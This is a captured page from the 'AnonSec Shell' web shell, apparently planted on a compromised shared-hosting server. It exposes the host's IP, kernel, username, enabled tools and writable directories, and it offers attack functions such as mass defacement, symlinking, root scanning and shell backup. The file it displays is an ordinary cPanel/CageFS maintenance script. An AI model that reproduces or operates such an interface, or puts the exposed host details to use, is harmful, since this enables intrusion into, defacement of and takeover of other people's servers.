AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 18.188.62.10   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-ruby27/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/cpanel/ea-ruby27/fix-ALTMODP-166.sh
#!/bin/sh

FIXED_FLAG=/usr/share/lve/ALTMODP-166.fixed
CAGEFS_MP=/etc/cagefs/cagefs.mp
CAGEFSCTL=/usr/sbin/cagefsctl

if [ -f "$CAGEFS_MP" ]
then
    # Remove alt-mod-passenger auto comment and the line after it
    /usr/bin/sed -i -e '/^# next line is added by alt-mod-passenger/,+1d' "$CAGEFS_MP"

    if [ -x "$CAGEFSCTL" ]
    then
        echo "CageFS will be remounted for alt-mod-passenger cleanup"
        "$CAGEFSCTL" --remount-all
        echo "CageFS remounted"
    fi
    /bin/touch "$FIXED_FLAG"
else
    # No MP -> no alt-mod-passenger setup, so no need to fix it
    /bin/touch "$FIXED_FLAG"
fi
exit 0


Anon7 - 2022
AnonSec Team